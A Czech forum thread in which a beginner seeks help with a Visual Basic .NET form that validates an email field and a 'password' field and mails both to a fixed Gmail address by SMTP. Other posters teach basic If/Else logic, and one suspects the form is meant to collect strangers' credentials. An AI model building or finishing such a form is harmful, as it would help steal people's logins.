Přidat otázku mezi oblíbenéZasílat nové odpovědi e-mailem visual basic

Dá se udělat ve visual basicu toto:
If TextBox1.Text and TextBox2.Text = nějaký text v obou polích then
Potom se spustí nějaký proces
End If

Díky za rady

Předmět Autor Datum
If TextBox1.Text = nějaký text And TextBox2.Text = nějaký text Then
Wikan 21.03.2015 18:12
Wikan
1.Kontrola emailu zkontroluje jestli se nezadává nesmysl a zkontroluje jestli je v text box 2 nějaký…
xxxhelpxxx 21.03.2015 18:34
xxxhelpxxx
A otázka zní?
Wikan 21.03.2015 18:38
Wikan
Jak to udělat aby to fungovalo.
xxxhelpxxx 21.03.2015 18:58
xxxhelpxxx
Jak to udělat aby to fungovalo • Ale jak ma fungovat co? Potom se spustí nějaký proces • Tak asi…
CoCoChanel 21.03.2015 19:05
CoCoChanel
Dám tu link ke stažení: ulozto-rar Prostě to nepracuje po pořadě můžete skusit. A když někoho něco…
xxxhelpxxx 21.03.2015 21:10
xxxhelpxxx
• Visual Basic, nebo vseobecne .net jsem mel naposled v rukach jeste pred c# (nepocitaje naké me 3-4…
CoCoChanel 21.03.2015 21:27
CoCoChanel
Máš tam End If, který ale nepatří k žádnému Ifu. Odeslání mailu a spuštění progressBaru přesuň do vl…
Wikan 21.03.2015 22:08
Wikan
Máš tam End If, který ale nepatří k žádnému Ifu. • No vidis, mel jsem za to, ze if, nebo ELSE, then…
CoCoChanel 21.03.2015 22:23
CoCoChanel
Tak tohle jsem nepochopil.
Wikan 21.03.2015 22:26
Wikan
• else se neda ukoncit s end if? Asi se bavime o necem jiném.. Ze zacatku, jsem myslel ze chce porov…
CoCoChanel 21.03.2015 22:29
CoCoChanel
Reagoval jsem na projekt původního tazatele, ne na tvůj příklad.
Wikan 21.03.2015 22:37
Wikan
• Tak to se omlouvam..i tak to nebylo myslené spatne :-)
CoCoChanel 21.03.2015 22:38
CoCoChanel
Jak to udělat??
xxxhelpxxx 22.03.2015 08:49
xxxhelpxxx
Jak to ale udělat. Odeslání mailu a spuštění progressBaru přesuň do vlastní metody, která se zavolá…
xxxhelpxxx 22.03.2015 08:51
xxxhelpxxx
Vytvoříš novou metodu, přesuneš to do ní. V původní metodě tu novou zavoláš jenom v případě, že je v…
Wikan 22.03.2015 10:05
Wikan
Napišeš mi to prosím do toho kodu co jsem tu nahoře dal. Pořad nevím jak to tam přesně uďat.
experimentátor 22.03.2015 10:33
experimentátor
Proč tam rvat stále ten progresbar, ten je tam prozatím k ničemu, wikan mēl zrejmē na mysly boolean.…
CoCoChanel 22.03.2015 11:20
CoCoChanel
Je to tvůj úkol, ne můj, takže se budeš muset snažit sám. Co přesně z toho mého popisu nechápeš?
Wikan 22.03.2015 11:25
Wikan
Tvůj popis chápu ale nechapu jak to dat do toho kodu.
xxxhelpxxx 22.03.2015 11:38
xxxhelpxxx
A co konkrétně teda nechápeš?
Wikan 22.03.2015 11:46
Wikan
Tak ono to "jakože"skontroluje email a text když bude něco špatně tak se zastaví ten proces před ode…
xxxhelpxxx 22.03.2015 11:59
xxxhelpxxx
Nic zastavovat nemusíš, mnohem jednodušší je to prostě vůbec neprovést, ne? Hlavně vyhoď ten restart…
Wikan 22.03.2015 12:04
Wikan
Restart dám pryč. Jak uďelat aby se to neprovedlo?
xxxhelpxxx 22.03.2015 12:07
xxxhelpxxx
Vyhodnotíš obě podmínky a provedeš to pouze pokud bude obojí v pořádku.
Wikan 22.03.2015 12:10
Wikan
• tak udelej tu novou metodu, treba "Dim Moje_metoda as ....." • Do té "Moje_metoda" dej podminky kt…
CoCoChanel 22.03.2015 12:09
CoCoChanel
Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged Dim…
CoCoChanel 22.03.2015 13:03
CoCoChanel
Napsal jsem to takhle 'kontrola emailu a zadaného textu Dim FoundMatch As Boolean Try FoundMatch =…
xxxhelpxxx 22.03.2015 14:37
xxxhelpxxx
• Ted tomu rozumim lip, na zacatku jsem si rikal, pro na overeni Emailu potrebujes 2x Text.Box, ale…
CoCoChanel 22.03.2015 14:42
CoCoChanel
Jak to teda napsat? Jak bys to napsal ty?
xxxhelpxxx 22.03.2015 15:02
xxxhelpxxx
• Ale napsal co? Celé to smaz a udelej to znovu postupne, klidne pod Button1_Click...
CoCoChanel 22.03.2015 15:04
CoCoChanel
Musíš u toho psaní trochu přemýšlet a ne to tam naházet, jak ti to zrovna přijde pod ruku. Pokud to…
Wikan 22.03.2015 15:07
Wikan
Já nevím jak to udělat. Dvě textové pole Do Prvního se napíše email od koho to je Do Druhého se napí…
xxxhelpxxx 22.03.2015 15:28
xxxhelpxxx
Nikdo neví?
xxxhelpxxx 22.03.2015 16:13
xxxhelpxxx
Co tohle? Dim metoda As Boolean If metoda = 1 Then TextBox1.Text = False ElseIf metoda = 2 Then Tex…
xxxhelpxxx 22.03.2015 16:32
xxxhelpxxx
• Udelej potrebne TextBox, etc podle obrazku: [img=/file/view/22031-capture-png]http://pc.poradna.ne…
CoCoChanel 22.03.2015 17:13
CoCoChanel
jen Emaily dostavat z Text.boxu na svůj email.
xxxhelpxxx 22.03.2015 17:22
xxxhelpxxx
Jsem tu dával okaz: ulozto-rar
xxxhelpxxx 22.03.2015 17:24
xxxhelpxxx
• To "generované číslo" tam mas proc? Me to spis pripadne, ze chces naivitou aby ti zaostalci poslal…
CoCoChanel 22.03.2015 18:05
CoCoChanel
Generované číslo jakože se vygeneruje číslo zprávy. Pošleš email s textem pod nějakým náhodným čísle…
xxxhelpxxx 22.03.2015 22:25
xxxhelpxxx
Takové číslo se ale generuje na serveru, ne na klientovi. Co budeš dělat, až ti přijde více zpráv se… poslední
Wikan 22.03.2015 22:32
Wikan

1.Kontrola emailu zkontroluje jestli se nezadává nesmysl a zkontroluje jestli je v text box 2 nějaký text.
2.Když něco bude chybět měl by se proces zastavit před odesláním.
3.Měl by se spustit timmer1 a loadding progressbar.
4.Vygenerovat číslo.
5.Hláška že je vše uspěšně dokončeno.
Díky za jakou koliv radu.

Imports System.Net.Mail

Imports System.Text.RegularExpressions

Public Class Form1

Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

'kontrola emailu a zadaného textu

Dim FoundMatch As Boolean
Try
FoundMatch = Regex.IsMatch(TextBox1.Text, "\A(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$% &'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0- 9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)\Z", RegexOptions.IgnoreCase)
Catch ex As ArgumentException 'Syntax error in the regular expression
End Try
If Not FoundMatch Then
MsgBox("bad email addrese", MsgBoxStyle.OkOnly, "!!!ERROR!!!")

Else

MsgBox("addrese is ok", MsgBoxStyle.OkOnly, "---OK---")
End If

If TextBox2.Text = "" Then
MessageBox.Show("missing password", "!!!ERROR!!!", MessageBoxButtons.OK, MessageBoxIcon.Error)
Application.Restart()
End If

'poílaní

Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("xxx@gmail.com")
MyMailMessage.To.Add("xxx@gmail.com")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("xxx@gmail.com","xxx" )
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try

'časovač
SendMessage(ProgressBar1.Handle, 1040, 3, 0)
Timer1.Start()

'Generátor
If ProgressBar1.Value = 100 Then

Dim key As Integer
key = Int(Rnd() * 3)

Select Case key
Case 1
TextBox3.Text = "12345678"

Case 2
TextBox3.Text = "1234567"
Case 3
TextBox3.Text = "12345"
End Select
End If

'Závěr

MsgBox(" completed", MsgBoxStyle.OkOnly, "---OK---") Then

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

ProgressBar1.Increment(1)
If ProgressBar1.Value = 100 Then
Label3.Text = "completed"
End If
Label4.Text = ProgressBar1.Value & ("%")
End Sub

End Class

Jak to udělat aby to fungovalo

• Ale jak ma fungovat co?

Potom se spustí nějaký proces

• Tak asi pres :

If TextBox1.Text = "xxxxxx" and TextBox2.Text = "xxxxxx"  then
  To co chces
ELSE IF
 TextBox1.Text xxxxx = String.Empty  Then
  To co chces
ELSE 
  To co chces
End If 

Pak zrejme jestli je obsazen "@" (jde-li o email), aby vepsana cast mela alespon "5 znaku" a podobne, nevim jak myslis zjistit, jestli tam neni napsany nesmysl.

• Visual Basic, nebo vseobecne .net jsem mel naposled v rukach jeste pred c# (nepocitaje naké me 3-4 vyjimky pri pokusu prestupu na zminovany csharp) :-D , visual studio nemam poruce, ale i tak ho nainstaluji a dam ti vedet, jinak jsem rad jsi prilozil spravny soubor SLN.(doufam)

Tak ono to "jakože"skontroluje email a text když bude něco špatně tak se zastaví ten proces před odesláním.
Jak to teda zastavit.

Teď tam je že se aplikace když chybí text restartuje ale i přesto to odešle na ten email.
A i nopak když se zada text a nezada se email tak to tak odešle.

• tak udelej tu novou metodu, treba "Dim Moje_metoda as ....."
• Do té "Moje_metoda" dej podminky které kdyz budou true, tak za then das instrukci v tvém pripade na odeslani.
Na to aby nic nedelal, psat nic nepotrebujes, jestli to bude deklarované jako boolean a hodnota bude false, tak se nic neposle.

Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged
        Dim Moje_metoda As Boolean
           If Moje_metoda = True Then
          End If
        Close()

• Do Moje_metoda, das/deklarujes podminky, které kdyz budou true, tak se vykona instrukce. To uz pak zalezi na tobe, jestli ches aby se skontroval jestli je TextBox prazdny, nebo obsahuje znaky, jejich pocet etc. zkratka tam napis to, co ma splnovat aby byl odeslan.

• Jednoduse, zkus nebo pochopit zaklad, kdys napises

    Private Sub TextBox1_TextChanged(sender As Object, e As EventArgs) Handles TextBox1.TextChanged
        If TextBox1.Text = "ahoj" Then
            MessageBox.Show("uz chapes?")
              End If
            Close()
    End Sub
End Class

• Kdyz napises "ahoj" tak?
• Zkratka ten Email, se nemuze poslat jen tak sam. Primitivnejs uz to napsat nejde.

Napsal jsem to takhle

'kontrola emailu a zadaného textu

Dim FoundMatch As Boolean
Try
FoundMatch = Regex.IsMatch(TextBox1.Text, "\A(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$% &'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0- 9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)\Z", RegexOptions.IgnoreCase)
Catch ex As ArgumentException 'Syntax error in the regular expression
End Try
If Not FoundMatch Then
MsgBox("bad email addrese", MsgBoxStyle.OkOnly, "!!!ERROR!!!")

Else

MsgBox("addrese is ok", MsgBoxStyle.OkOnly, "---OK---")
End If

If TextBox2.Text = "" Then
MessageBox.Show("missing password", "!!!ERROR!!!", MessageBoxButtons.OK, MessageBoxIcon.Error)
End If

'POSLAT ANO NEBO NE
Dim kontrola As Boolean
If TextBox1.Text = "" Then
TextBox1.Text = False
Else
TextBox2.Text = ""
TextBox2.Text = False

End If

'poílaní

Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("xxx@gmail.com")
MyMailMessage.To.Add("xxx@gmail.com")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("xxx@gmail.com","xxx" )
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try

Ale nefunguje to.
Můsí se tam ještě něco dopsat.

• Ted tomu rozumim lip, na zacatku jsem si rikal, pro na overeni Emailu potrebujes 2x Text.Box, ale zrejme nejde o overeni emailu (na co staci jeden Text.Box1) ale odcizeni spis udaju cloveka co je tam napise a posle tobe na email, nepletu se? :-)(na to staci 5 radku) Protoze k cemu potrebujes kontrolovat password? (s vyjimkou kdyby slo o overeni psw v databazi, zrejme mySqlConnection, SqlClient, coz neni tvuj pripad)

'POSLAT ANO NEBO NE
Dim kontrola As Boolean
If TextBox1.Text = "" Then
TextBox1.Text = False
Else
TextBox2.Text = ""
TextBox2.Text = False

Proc deklarujes "kontrola" kdyz ji nepouzijes? to jak kdyby tam Dim kontrola As Boolean nebyl, ani nema zadnou hodnotu, jak chces determinovat jestli je false nebo true? neni co overovat.
At ten kod analizuje, at je vysledek true nebo false, tak jsi nenapsal co ma vykonat za instrukci.

Já nevím jak to udělat.
Dvě textové pole
Do Prvního se napíše email od koho to je
Do Druhého se napíše zpráva,text.
Pokaždé tam bude napsane něco jiného jiný email a text.

Imports System.Net.Mail
Public Class Form1

Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

'poílaní

Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("xxx@gmail.com")
MyMailMessage.To.Add("xxx@gmail.com")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("xxx@gmail.com","xxx" )
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try
End Sub

• Udelej potrebne TextBox, etc podle obrazku:
[img=/file/view/22031-capture-png]http://pc.poradna.net/file/view/22031-capture-png[/img]

    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim mail As New mailMessage
        Dim SMTP As New SmtpClient("smtp.gmail.com")
        mail.from = New MailAddress(TextBox1.Text)
        mail.To.Add(TextBox1.Text)
        mail.Subject = TextBox3.Text
        mail.Body = TextBox4.Text
        SMTP.Port = "587"
        SMTP.Crendentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox5.Text)
        SMTP.EnableSsl = True
        SMTP.Send(mail)
        GroupBox2.Enabled = False
        GroupBox1.Enabled = True
        Button1.Enabled = True

    End Sub

• Pojmenovani a zbytek uz si snad dopises.
• S GrupBox muzes nechat zobrazit az po prihlaseni, typu ::

  GroupBox2.Enabled = False
        GroupBox1.Enabled = True
        Button1.Enabled = True
        Button2.Enabled = False

• Tezko rict co ches. Jestli posilat ze své Gmail.schranky, nebo jen Emaily dostavat z TextBoxu, opravdu nevim..

Zpět do poradny Odpovědět na původní otázku Nahoru